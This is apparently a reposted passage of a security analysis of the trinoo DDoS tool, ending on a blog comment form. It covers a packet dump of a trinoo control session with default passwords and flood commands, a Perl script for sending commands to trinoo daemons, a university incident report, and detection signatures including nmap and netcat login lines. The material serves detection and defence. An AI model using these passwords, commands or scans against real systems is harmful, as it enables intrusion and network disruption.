74 72 69 6e 6f 6f 3e 20 trinoo>
  1. ##
T -> [AP] 64 6f 73 20 32 31 36 2e 31 36 30 2e 58 58 2e 59 dos 216.160.XX.Y 59 0d 0a Y..
  1. T -> [AP]
44 6f 53 3a 20 50 61 63 6b 65 74 69 6e 67 20 32 DoS: Packeting 2 31 36 2e 31 36 30 2e 58 58 2e 59 59 2e 0a 16.160.XX.YY..
  1. U ->
61 61 61 20 6c 34 34 61 64 73 6c 20 32 31 36 2e aaa l44adsl 216. 31 36 30 2e 58 58 2e 59 59 160.XX.YY
  1. T -> [AP]
74 72 69 6e 6f 6f 3e 20 trinoo>
  1. #
T -> [AP] 71 75 69 74 0d 0a quit..
  1. T -> [AP]
62 79 65 20 62 79 65 2e 0a bye bye..
  1. ##
T -> [AP] 62 65 74 61 61 6c 6d 6f 73 74 64 6f 6e 65 0d 0a betaalmostdone..
  1. #
T -> [AP] 74 72 69 6e 6f 6f 20 76 31 2e 30 37 64 32 2b 66 trinoo v1.07d2+f 33 2b 63 2e 2e 5b 72 70 6d 38 64 2f 63 62 34 53 3+c..[rpm8d/cb4S 78 2f 5d 0a 0a 0a x/]...
  1. ##
T -> [AP] 74 72 69 6e 6f 6f 3e 20 trinoo>
  1. ##
T -> [AP] 6d 70 69 6e 67 0d 0a mping..
  1. #
T -> [AP] 6d 70 69 6e 67 3a 20 53 65 6e 64 69 6e 67 20 61 mping: Sending a 20 50 49 4e 47 20 74 6f 20 65 76 65 72 79 20 42 PING to every B 63 61 73 74 73 2e 0a casts..
  1. U ->
70 6e 67 20 6c 34 34 61 64 73 6c png l44adsl
  1. #
U -> 50 4f 4e 47 PONG
  1. #
T -> [AP] 74 72 69 6e 6f 6f 3e 20 50 4f 4e 47 20 31 20 52 trinoo> PONG 1 R 65 63 65 69 76 65 64 20 66 72 6f 6d 20 31 39 32 eceived from 192 2e 31 36 38 2e 30 2e 31 0a .168.0.1
  1. #
T -> [AP] 71 75 69 74 0d 0a quit..
  1. T -> [AP]
62 79 65 20 62 79 65 2e 0a bye bye.. ------------------------------------------------------------------------------ Appendix B - trinot script -------------------------- ------------------------------- cut here -----------------------------------
  1. !/usr/bin/perl -w
  2. # trinot v. 1.1
  3. By Dave Dittrich <>
  4. # Send commands to trinoo daemon(s), causing them to PONG, *HELLO*
  5. to all their masters, exit, etc. Using this program (and knowledge
  6. of the proper daemon password), you can affect trinoo daemons
  7. externally and monitor packets to verify if the daemons are up,
  8. expose their masters, or shut them down.
  9. # Needs Net::RawIP (
  10. Requires libpcap (
  11. # Example: ./trinot host1 [host2 [...]]
  12. ./trinot -S host
  13. ./trinot -p password -P host
  14. # (This code was hacked from the "macof" program, written by
  15. Ian Vitek <>)
require ''; use Net::RawIP; $a = new Net::RawIP({udp => {}}); chop($hostname = `hostname`); Getopts('PSDp:f:s:d:l:i:vh'); die "usage: $0 [options] host1 [host2 [...]]\ \t-P\t\t\tSend \"png\" command\ \t-S\t\t\tSend \"shi\" command\ \t-D\t\t\tSend \"d1e\" command (default)\ \t-p password\t\t(default:\"l44adsl\") \t-f from_host\t\t(default:$hostname)\ \t-s src_port\t\t(default:random)\ \t-d dest_port\t\t(default:27444)\ \t-l ipfile\t\tSend to IP addresses in ipfile\ \t-i interface \t\tSet sending interface (default:eth0)\ \t-v\t\t\tVerbose\ \t-h This help\n" unless ( !$opt_h );
  1. set default values
$opt_i = ($opt_i) ? $opt_i : "eth0"; $s_port = ($opt_s) ? $opt_s : int rand 65535; $d_port = ($opt_d) ? $opt_d : 27444; $pass = ($opt_p) ? $opt_p : "l44adsl";
  1. choose network card
if($opt_e) { $a->ethnew($opt_i, dest => $opt_e); } else { $a->ethnew($opt_i); } $cmd = ($opt_P) ? "png $pass" : ($opt_S) ? "shi $pass" : ($opt_D) ? "d1e $pass" : "d1e $pass"; $s_host = ($opt_f) ? $opt_f : $hostname; if ($opt_l) { open(I,"<$opt_l") || die "could not open file: '$opt_l'"; while (<I>) { chop; push(@ARGV,$_); } close(I); } foreach $d_host (@ARGV) { $a->set({ip => {saddr => $s_host, daddr => $d_host}, udp => {source => $s_port, dest => $d_port, data => $cmd} }); print "sending '$cmd' to $d_host\n" if $opt_v; $a->send; } exit(0); ------------------------------- cut here ----------------------------------- Appendix C - References ----------------------- TCP/IP Illustrated, Vol. I, II, and III. W. Richard Stevens and Gary R. Wright., Addison-Wesley. lsof: tcpdump: hunt: sniffit: ngrep: loki client/server: Phrack Magazine, Volume Seven, Issue Forty-Nine, File 06 of 16, [ Project Loki ] Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 06 of 17 [ L O K I 2 (the implementation) ] LibNet: Net::RawIP: crack: Password cracking utilities: targa.c: Appendix D - Abbreviated report of actual trinoo attack. ------------------------------------------------------ The following is an abbreviated version the initial report sent out by Susan Levy Haskell of the University of Minnesota. This report, which only concerns a small time span in the three day attack, showed 227 unique attacking systems, 114 of which were at Internet 2 sites. (The actual list of attacking systems, all of which are also root compromised victims in their own right, have been removed. A complete report of all unique attacking IP addresses over the three day period is not available.) Just to show what a large trinoo network could do, consider that a file (named "owned.log") containing 888 IP addresses was found same location as the trinoo source code analyzed here (which is assumed to be the same code as that used for the attack). Another file in that directory (named "216") contains addresses of 10549 systems on netblocks, and is assumed to be a list of potential targets for compromise and trinoo daemon/master installation. Rumors on Usenet newsgroups and Slashdot put the number of systems controlled by this group in the 3000+ range. ---------------------------------------------------------------------------- Hello: This is a notification that a system at your site apparently was used in a large-scale UDP flood on a system at the University of Minnesota. The hosts below have been involved in a series of escalating large-scale denials-of-service that are flooding the University of Minnesota off the internet. They are periodic, but expanding in the number of hosts used to attack. We would like to hear about it if you can confirm whether your system(s) were used. We're also *very* interested in any information about this tool (since it appears to be new, and quite effective). Thus far, all hosts used in this attack appear to have been Solaris 2.x systems that were compromised using the recently-announced rpc.cmsd exploits (see for details). The following are lists of hosts apparently used, and the period of use. We're certain about the timestamps--they're in CDT (-500)--but as with all such floods, they ramp up and tail off. Since we're getting data in ten-minute slices, the times are approximate. The floods use unforged source IPs and consistent UDP source-ports. The destination ports are random, aimed at The packets are 32-byte UDP (and each flow represents many packets). I've included profile information below, rather than log excerpts, because these run to many GB. If you would like Cisco net-flow excerpts to demostrate the behavior, please reply to this message & ask. All attacks have been launched at ( And, as I mentioned, all times are in CDT (-500) from an ntp-slaved log host (for the ten-minute segments). Thank you. -susan -- Susan B. Levy Haskell / / voice: (612) 626-8639 Security Incident Response Coordinator fax: (612) 626-1002 Networking and Telecommunications Services, University of Minnesota
  • ** To report a security incident in progress, call (612) 625-0006 ***
================================================= Appendix E - Further methods of detecting trinoo ------------------------------------------------ Authors: David Brumley <> David Dittrich <> George Weaver <> Detecting Trinoo Currently Trinoo has several signatures that allow it to be detected from IP flow records. Trinoo Daemon (ns.c) - 1. The trinoo daemon by default listens to UDP port 27444 2. All communication with the trinoo daemon must have the string l44 (ell 44). 3. The SYN flood mechanism picks the destination port via the following algorithm: to.syn_port = htons(rand() % 65534) Several observations can be made: a. randomize()/srandom() is never called, so the destination port will always fit the following algorithm: SYN packet 1 has destination port x SYN packet 2 has destination port y as defined by srandom(x); y = rand(); SYN packet 3 has destination port z as defined by srandom(y); z = rand(); b. Since the port is a result of modulus 65534, destination port 0 will show up, while destination port 65535 will not. IDS detection of daemon: 1. Look for UDP connections to destination port 27444. This is indicative of the control session. 2. The string l44 will determine with a large probability that the packet is part of a trinoo control session. 3. Running trinoo DoS attacks (SYN Floods) can be identified by the algorithm given in 3 above. In addition, if you can catch the first SYN, it will *always* be the result of srand(1); rand();. On one authors laptop, an example sequence of destination ports would be: 32540 48264 58208 56084 46021 37263 6890 38941 17766 40714 Although this doesn't stop the Denial of Service, it will say with some probability this is a trinoo attack, and you should start looking for a master! Detecting the trinoo daemon on your network: 1. Trinoo daemons can be indexed by a master by sending a png command. Live daemons will respond with a PONG. The original author probably added this so the master can see which daemons are still alive. You can scan a network with the attached program for anything that responds appropriately (which chances are is a trinoo daemon). Trinoo Server (master.c) - The network communications that are indicative of a trinoo server are: 1. Sending UDP packets with destination port 27444 2. UDP packets as described above with the string l44adsl (ell 44 a d s ell) 3. A server will bind to port 27665 IDS detecting the trinoo server: 1. Look for flows with protocol type 17 (UDP) 2. TCP connections (protocol type 6) to destination port 27665 (the trinoo server) Detecting the Trinoo server of your network: 1. The server password hasn't changed (to the best of the authors knowledge), nor has the port it listens to. Trinoo possible masters can be detected by using a tool like nmap to find hosts listening to port 27665, i.e. nmap -PI -sT -p 27655 -m logfile "you.subnet.*.*" After a list of possible servers has been compiled, automated login can be used for positive identification. If you wish to script the automated login, try netcat (nc on most systems), i.e. echo "betaalmostdone" | nc <IP> 27665 NOTE: Your mileage may vary with the random number prediction since it's very host specific - what does rand() really return? Consult your documentation. Dikutip dari artikel cisco system.

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:


You are commenting using your account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s

%d blogger menyukai ini: